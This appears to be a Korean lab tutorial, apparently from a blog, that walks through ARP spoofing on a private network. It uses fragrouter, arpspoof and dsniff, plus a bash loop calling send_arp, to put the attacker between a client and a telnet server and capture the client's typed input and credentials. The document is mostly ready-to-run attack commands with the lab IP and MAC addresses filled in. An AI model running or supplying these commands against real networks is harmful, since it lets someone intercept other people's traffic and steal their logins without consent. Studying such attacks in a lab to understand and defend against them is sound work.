ARP spoofing을 활용한 sniffing

- 네트워크 구성도

 

 

- 계획

  ARP spoofing을 활용한 패킷 sniffing

1. 클라이언트와 서버간 통신시 공격자 컴퓨터로 패킷이 오면 릴레이할 수 있도록 만든다.

2. 공격자 컴퓨터에서 클라이언트에게 ARP reply패킷 지속적으로 전송하여 서버로 보내는 패킷이 공격자 컴퓨터로 오도록 한다.

3. 공격자 컴퓨터에서 서버에게 ARP reply패킷 지속적으로 전송하여 클라이언트로 보내는 패킷이 공격자 컴퓨터로 오도록 한다.

4. 클라이언트와 서버가 통신을 시도하면 공격자 컴퓨터에서 대상 컴퓨터가 보낸 패킷이 캡쳐된다.

5. 클라이언트가 텔넷 서버로 입력 했던 값을 sniffing한다.

 

 

- 수행

각각의 명령마다 다른 터미널을 사용하여야 하며 총 4개의 터미널이 필요합니다.

 

1. fragrouter를 이용해 패킷 릴레이 환경을 만듭니다.

 

[root@kst01 ~]# fragrouter -B1

 

2. arpspoof를 이용해 클라이언트에게 arp spoofing을 합니다.

[root@kst01 ~]# arpspoof -i eth0 -t 192.168.10.152 192.168.10.168

 

3. arpspoof를 이용해 서버에게 arp spoofing을 합니다.

 

[root@kst01 ~]# arpspoof -i eth0 -t 192.168.10.168 192.168.10.152

 

4. 스니핑 자동화 툴인 dsniff를 이용해 스니핑 합니다.

[root@kst01 ~]# dsniff

 

 

- 결과

fragrouter 터미널에서 클라이언트와 서버간 통신시 패킷을 캡처한것을 확인할 수 있습니다. 

클라이언트와 서버가 telnet을 이용하여 통신하였을때 클라이언트가 입력한 문자를 sniffing하여 문자열을 추출한 것을 확인할 수 있습니다.

 

- 추가. fack를 이용한 sniffing

fake를 활용해서도 가능합니다.

fake는 rpmporge를 통해 제공되며 centos5,6 32bit에서 사용 가능합니다.

 

yum install -y fake

send_arp는 일회성이기 때문에 시간이 지나면 자동으로 갱신이 되기때문에 스크립트를 이용해 지속적으로 보내야 합니다.

[root@kst01 ~]# vi sarp 
#!/bin/bash
while [ : ] 
do
 send_arp 192.168.10.168 00:0c:29:70:1b:20 192.168.10.152 00:0C:29:B1:9D:7A
 send_arp 192.168.10.152 00:0c:29:70:1b:20 192.168.10.168 00:0C:29:87:58:19
done

 

파일 생성 후 실행권한을 주고 실행시키면 arpspoof를 사용한것과 똑같습니다.

실행시키기 전에 fragrouter와 dsniff를 먼저 다른 터미널에서 실행시켜야 합니다.

 

클라이언트에서 서버로 telnet으로 접속한 후 접속이 종료되면 dsniff로 입력한 명령어와 문자열 등을 확인할 수 있습니다.